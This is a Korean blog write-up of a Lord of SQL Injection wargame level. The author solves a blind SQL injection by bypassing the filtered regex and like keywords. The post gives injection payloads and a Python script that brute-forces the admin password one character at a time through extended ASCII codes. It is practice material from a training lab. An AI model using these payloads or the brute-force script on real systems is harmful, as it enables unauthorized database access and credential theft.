SMALL
이번문제는
필터링 되는 부분 : regex, like
get 받는 파라미터 : pw
해결해야 되는 부분 : admin의 pw를 맞춰야 하는 blind sql injection
?pw=' or length(pw)=40 %23
와 pw의 길이가 8자 인 국룰을 깨고 40자 이다.. 일반적인 블라인드 sql injection을 이용하면 너무 오래걸릴것같다.
?pw=1'or id='admin' and ascii(substr(pw,1,1))<1 %23
이상하다 ...? Hello admin으로 푸는 문제가 아닌듯한 느낌아닌 느낌이 든다.
그러면 guest의 pw의 길이는 얼마나 될까?
?pw=1'or (id='guest' and length(pw)=72) %23
뭔가 규칙이 있겠지..? 일단 자동화 코드로 확인해 보자.
음 ..
근데 핵심이 admin의 pw를 찾는것이기에 ascii, hex는 다 참으로 나오기에 우회해서 ord 함수를 쓰면 안나온다...!
regex 이거 뭐가 있는것 같다. (정규표현식이라던데 잘모르겠다.)
그리고 문자열 뽑는 mid, substring 모두 다 똑같다.
?? 1000으로 하니까 된다. 뭐지?
오잉..? ascii코드표에 184라
이런게 있었다.. 40자리 다 128부터 돌리면 되겠다.
import requests
headers = {"cookie": 'PHPSESSID=[Your Session ID]'} # 자신의 쿠키 값을 넣어준다.
for i in range(1, 41): # 큰 반복분 40자리 이기에 41까지
for j in range(128, 255): # 확장 아스키코드부터
params = {'pw': "1' or id='admin' and ord(substr(pw," + str(i) + ",1))=" + str(j) + " #"}
r = requests.get(url, params=params, headers=headers)
if "Hello admin" in r.text: # 응답값에서 텍스트가 Hello admin이면 출력하고 다음자리로
print(chr(j), end='')
break
근데 시간이 많이 지났음 에도 불구하고 결과값은 이렇게 나온다. (¸ùÅ°ÆÐÄ¡¤»)
총 10자리 11자리는 확장이 아니라는 건가? 확인해 보자.
11자리 부터는 0을 넘지 않는다.
null 그렇다면 추측하기에 40은 훼이크고 10자리까지만 암호인듯?
와우 영화 아이언맨 자비스 답게 괴상한게 패스워드네 (?) 배고프군
무튼 클리어..!
'Network > LOS' 카테고리의 다른 글
[LOS_21]iron_golem (0) | 2019.09.05 |
---|---|
[LOS_20]dragon (0) | 2019.08.30 |
[LOS_18]nightmare (0) | 2019.08.30 |
[LOS_17]succubus (0) | 2019.08.30 |
[LOS_16]zombie_assassin (0) | 2019.08.30 |